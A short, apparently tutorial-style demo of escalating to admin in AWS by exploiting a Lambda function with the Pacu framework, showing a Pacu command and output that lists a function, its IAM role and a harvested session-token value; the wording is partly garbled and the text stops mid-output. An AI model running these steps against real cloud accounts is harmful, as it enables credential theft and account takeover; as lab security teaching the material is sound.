[DEMO] Exploiting vulnerable Lambda functions to admin access

Intro

Let's say we've found a vulnerable Lambda function.

Let's also assume that unauthenticated RCE has been achieved, that is not through the vulnerable Lambda function, but we've compromised a developer's AWS Lambda access that was creating functions.

Start Pwns

Let's start up Pacu (if you don't already) Sam's up and running.

```
Pacu (new:test) exploit lambda
```

Then pick your lab target.

```
[+] Starting module exploit_lambda_code...
[+] Found 1 Lambda functions.
[+] Found 1 Lambda functions in region us-east-1.
[+] Function: arn:aws:lambda:us-east-1:[redacted]:function:cmd-exec
[+] Runtime: nodejs12.x
[+] Role: arn:aws:iam::[redacted]:role/service-role/cmd-exec-role-[redacted]
[+] Environment variables:
[+]   AWS_SESSION_TOKEN: IQoJb3JpZ2luX2VjEPf//////////wEaCXVzLXdlc3QtMiJHMEUCIQCqqq
```